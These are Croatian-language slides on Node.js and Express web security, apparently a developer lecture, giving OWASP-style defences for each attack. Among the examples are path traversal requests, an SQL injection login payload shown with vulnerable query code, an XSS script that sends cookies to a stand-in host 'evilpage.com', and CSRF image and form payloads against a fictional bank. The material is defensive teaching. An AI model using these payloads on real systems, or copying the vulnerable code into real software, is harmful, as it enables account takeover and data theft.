Path Traversal
• pokušaj pristupa fileovima kojima ne bismo trebali moći
pristupiti
GET http://webapplication.com/static/style.css
app.get('/static/', (req, res) => {
const filename = path.join(process.cwd(), 'static', req.uri);
if (path.existsSync(filename)) {
return res.end(fs.readFileSync(filename));
}
res.status(404).end("Not found");
}
GET http://webapplication.com/static/../app.js
GET http://webapplication.com/static/../index.js
Path Traversal
• Ne pokušavat sami rješiti, puno bolji od vas su isto u tome
pogrješili (više puta):
https://expressjs.com/en/advanced/security-updates.html
• Nije jednostavno kao što se čini:
• %2e%2e%2f je isto kao ../
• %2e%2e/ je isto kao ../
• %252e%252e%255c je isto kao ..
• Rješenje je koristiti postojeće metode (expess.static)
app.use(express.static('files'))
SQL Injection
• napad koji zahtjeva
• podaci dolaze od nesigurnog izvora
• dinamički se stvara SQL upit pomoću istih
username: sergej@axilis.com
password: ES6>.net
username: sergej@axilis.com
password: " OR 1 --
SELECT * FROM users
WHERE username = "sergej@axilis.com"
AND password = "" OR 1 --"
const username = req.body['username'];
const password = req.body['password'];
const q = `
SELECT * FROM users
WHERE username = "${username}"
AND password = "${password}" `
const results = database.exec(q);
if (results.length) {
resp.session['user'] = results[0];
}
Login data
Login data
Query
const username = req.body['username'];
const password = req.body['password'];
const q = `
SELECT * FROM users
WHERE username = :username
AND password = :password `
const results = database.prepare(q).exec({
password, username
});
if (results.length) {
resp.session['user'] = results[0];
}
SQL Injection
• Korištenje prepared statementa (Parameter Binding)
const username = req.body['username'];
const password = req.body['password'];
const q = `
SELECT * FROM users
WHERE username = "${username}"
AND password = "${password}" `
const results = database.exec(q);
if (results.length) {
resp.session['user'] = results[0];
}
XSS (Cross Site Scripting)
• ubacivanje malicioznog koda u sadržaj stranice
<script>
window.location="http://evilpage.com/" + window.cookie;
</script>
Leverage agile frameworks to provide a robust
synopsis for high level overviews. Iterative
approaches to corporate strategy foster
collaborative thinking to further the overall value
proposition.
Post.create({
content: req.body.content,
user: req.session.user.id
});
<div class="user-content">
<%- post.content %>
</div>
Model
View
Expected post
Malicious post
XSS
• EJS
• normalni <%= object %> tagovi escapeaju
• specijalni <%- object %> eksplicitno ne rade esacpe
• i dalje moguće napravit napad u nekim situacijama (renderanje u JS)
• Prava prevencija je validacija podataka
• Cookie koje je moguće postavit da su HTTP only
http://scottksmith.com/blog/2015/06/22/secure-node-apps-against-owasp-top-10-cross-site-scripting/
http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/
React is safe. We are not generating HTML strings so XSS protection is
the default.
XSS #2
• Content Security Policy (CSP) – zaglavlje koje kaže
pregledniku od kuda smije učitavati JavaScript i CSS, ne
spriječava skripte koje se cijele injectaju u stranicu
• Ako je moguće upisati bilo što (formfield), jedino rješenje
koje preostaje je sanitizacija sadržaja: express-sanitizer
http://scottksmith.com/blog/2015/06/22/secure-node-apps-against-owasp-top-10-cross-site-scripting/
req.sanitize(item).escape();
Session prediction
• relativno jednostavan princip – otkrivanje kako se dodjeljuju
session id-jevi
• ako pogodimo session id odredenog korisnika, automatski
smo ulogirani kao taj korisnik
• vrijedi i za JSW
• treba generirat nasumičan id
http://techidiocy.com/_id-objectid-in-mongodb/
CSRF - Cross-Site Request Forgery
• slanje zahtjeva u ime korisnika bez korisikovog saznanja
(posljedica da su poslani i Cookie podaci)
• korištenje POST umjesto GET metode ne rješava problem
GET http://bankingapp.com/transfer?to=1908&ammount=100
<img src="http://bankingapp.com/transfer?to=1908&ammount=100" />
POST http://bankingapp.com/transfer
<form method="POST" action="http://bankingapp.com/transfer">
<input type="text" value="10000" hidden />
<input type="submit" value="Nauci JS!" />
</form>
API endpoint
API endpoint
CSRF
• više koraka ispunjavanja transakcija ne pomaže ako su
predvidljivog toka
• moguće pogledati refferer header (samo kod HTTPS-a)
• korištenje nonce tokena prilikom submitanja podataka
• dodatno CORS moze pomoći (samo JS requestovi u
preglednicima)
http://stackoverflow.com/questions/19793695/does-a-proper-cors-setup-prevent-xsrf
MITM – Man in the middle
https://www.incapsula.com/images/illustrations/web-app-security-mini-site/man-in-the-middle-mitm.jpg
MITM
• razlikuje se of sniffinga po tome što napadač može aktivno
mijenjati podatke koji se prebacuju
• slično kao i kod sniffinga podaci koje korisnik razmijenjuje su
kompriminirani
MITM
• korištenje HTTPS-a prevenira u nekoj mjeri
• prevenira dešifriranje podataka sa mreže (sniffinga)
• ne prevenira MITM u potpunosti, ali će klijent biti upozoren da SSL
certifikat nije onaj koji očekuje
• kako je i sam redirect sa HTTP na HTTPS može bit
presretnut, poželjno je omogućitii HSTS (HTTP Strict
Transport Security), tada klijent automatski prebacuje HTTP
u HTTPS zahtjeve
• Cookie mogu postaviti secure zastavicu
• Cookie moguće ograničiti na dio domene
Brute force attack
• isprobavanje svih mogućih kombinacija
• na webu se manifestira u dva slučaja
• brute force napad na stranice (pokušaj pogodka podataka)
• dešifriranje ukradene baze lozinka (kada je napadač pomoću nekog
drugog explota došao do baze)
Brute force napad na web stranice
• relativno je lagano rješiv, implementacijom ograničenja broja
zahtjeva dohvata odredenih stranica
• ne moraju nužno biti login podaci
• može biti i pokušaj skidanja odredenih normalno nedostupnih
resursa, koji su dostupni bez autorizacije (audio, video, i dr. sadržaja)
• za express postoji jednostavan library sa podrškom za velik
broj backing baza: express-brute
Cracking lozinka
• u tom trenutku su već lozinke ukradene, cilj je minimizirati
štetu unaprijed
• pretpostavka je da se ne može imati prejednostavne lozinke
• preporučene hashing funkcije: Argon2, PBKDF2, scrypt,
bcrypt
• sve navedene imajujedan od faktora "težinu" hashiranja
kako bi bilo teže otkriti lozinke korisnika
• ovisno o svrhi aplikacije, razmislite o implementaciji 2-factor
autorizaciji
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
DoS – Denial of Service
• cilj napada je onemogućiti normalni rad infrastrukture
• najtipičniji npadi su DDoS (Distributed DoS) u kojima tisuće
različitih klijenata se koristi za istovremeni napad kako bi se
iscrpili svi dostupni resursi
• Cash Overflow
• specifična verzija napada ciljana na zloupotrebu servisa sa svrhom
nabijanja troskova i dovoda do bankrota ili postizanja limita na
kojima hosting provider onemogući stranicu
• napadi na API-je koje koristite (npr. Weather API, Video Encoding
API), exploitanje aplikacije za iskoristit 3rd party usluge
https://www.owasp.org/index.php/Denial_of_Service
DoS – Denial of Service
• u najopćenitijoj formi gdje mogu dolaziti i milijuni zahtjeva
po sekundi se ne može puno napravit
• moguće je izbjeći situacije u kojima korisnički unos ima veliki
utjecaj na workload potreban za izgenerirati odgovor
• postaviti gornje limite na broj rezultata koji se vraćaju
• analogno gdje se koristi korisnički input (argumenti for petlja)
• ograničiti pristup servisima koji izvode zahtjevne radnje (resizanje slika, zipanje
datoteka, dohvaćanje podataka sa drugih API-ja)
• ograničiti pristup servisima koji stvaraju podatke (cache servis kojem je moguće
zauzeti cijeli diskovni prostor zahtjevima različitih argumenata)
• ograničit pristup dijelovimakoji pristupaju 3rd party API
Validacija podataka
• vlastite metode validacije ili copy-paste sa Stackoverflow-a
često mogu dovesti do loših ili krivih provjera podataka
/[-+]?([0-9])*.?([0-9]*)/.test("<script>bok2</script>")
/[-+]?([0-9])+.?([0-9]*)/.test("<script>bok2</script>")
/^[-+]?([0-9])+.?([0-9]*)$/.test("<script>bok2</script>")
https://www.owasp.org/index.php/Overly_Permissive_Regular_Expression
=> true
=> true
=> false
Deserijalizacija podataka
• deserijalizirani podaci mogu biti važećeg formata ali to ne
znaći da su sigurni (npr. NoSQL Injection)
• moguće je zloupotrijebit aplikacijsku logiku (npr. rekurzivne
reference)
• korisnik mora biti autentificiran prije nego krenemo
deserijalizirati podatke
• moguć napad velikim payloadom (parsiraj 20MB JSON)
https://www.owasp.org/index.php/Deserialization_of_untrusted_data
Sigurnost "tajni"
• nikad ne spremati API keyeve u kod
• postoje jednostavna a puno sigurnija rješenja (.env file)
https://wptavern.com/ryan-hellyers-aws-nightmare-leaked-access-keys-result-in-a-6000-bill-overnight
“In total, there seemed to be around 600
servers running. The time between realizing
all this and uploading my Git repository was
approximately 12 hours.”
export MONGO_STRING="mongodb://uri"
export NODE_ENV="production"
source ./.env
.env file
Terminal (set variables)
AWS Credentials
• koristiti IAM za postaviti AWS API keyeve
• User – credentiali za korisnika ili API key
• Group – skupina više usera
• Role – dopuštenje odredenih prava (bez potrebe za AWS key-em)
• dodjeliti minimalna potrebna prava
• root accountobavezno zastititi 2-factor authenticationom
Vault
• jedan od servisa koji nude sigurnu pohranu i dohvat "tajni"
• ideja shareati pristup samo podacima koji su neophodni
• izbjegava se potreba za slanjem tajni "preko Slacka" :D
• mogućnost oduzimanja pristupa
https://www.amon.cx/blog/managing-all-secrets-with-vault/
https://spring.io/blog/2016/06/24/managing-secrets-with-vault
https://www.codementor.io/slavko/how-to-install-vault-hashicorp-secure-deployment-secrets-du107xlqd
AWS WAF – Web Application Firewall
https://eng.goprimer.com/deploying-aws-s-web-application-firewall-on-cloudfront-with-dynamic-content-from-an-elastic-6e633ff97fd5
AWS WAF
• moguće je postaviti pravila koja preveniraju tipične napade
kao što su SQL injection i XSS
• moguće je ograničit pristup resursima ovisno o dijelovima
HTTP zahtjeva (Cookie, Header, prvih 8kB tijela…)
http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-string-conditions.html
AWS WAF is a web application firewall that
lets you monitor the HTTP and HTTPS
requests that are forwarded to CloudFront,
and lets you control access to your content.
Don't trust user input.
Don't (re)invent your own security
methods.
Recap
Preporučeni linkovi
• The Basics of Web Application Security
https://martinfowler.com/articles/web-security-basics.html
• Open Web Application Security Project
https://www.owasp.org/index.php/Main_Page
• 6 Ways To Strengthen Web App Security
http://www.darkreading.com/risk-management/6-ways-to-
strengthen-web-app-security/d/d-id/1106197
• Helmet – set Express middlewareova koji povećavaju sigurnost
https://www.npmjs.com/package/helmet